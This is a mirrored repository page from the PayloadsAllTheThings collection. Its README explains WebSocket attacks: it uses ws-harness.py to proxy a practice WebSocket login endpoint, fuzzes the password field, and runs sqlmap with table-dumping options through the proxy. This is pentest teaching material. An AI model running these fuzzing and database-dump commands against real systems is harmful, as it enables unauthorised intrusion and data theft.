ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-23 12:55:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
b5cc379c4b
PayloadsAllTheThings/Web Sockets
History
Swissky 7cd49769be WMI + Cobalt Strike
2020-02-13 22:53:45 +01:00
..
Files Use print() function in both Python 2 and Python 3 2019-04-26 14:35:16 -04:00
Images Fix name's capitalization 2019-03-07 00:07:55 +01:00
README.md WMI + Cobalt Strike 2020-02-13 22:53:45 +01:00

README.md

Web Sockets Attacks

The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server

Summary

Tools

Using ws-harness.py

Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.

python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt

The content of the message should contains the [FUZZ] keyword.

{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}

Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.

sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump

References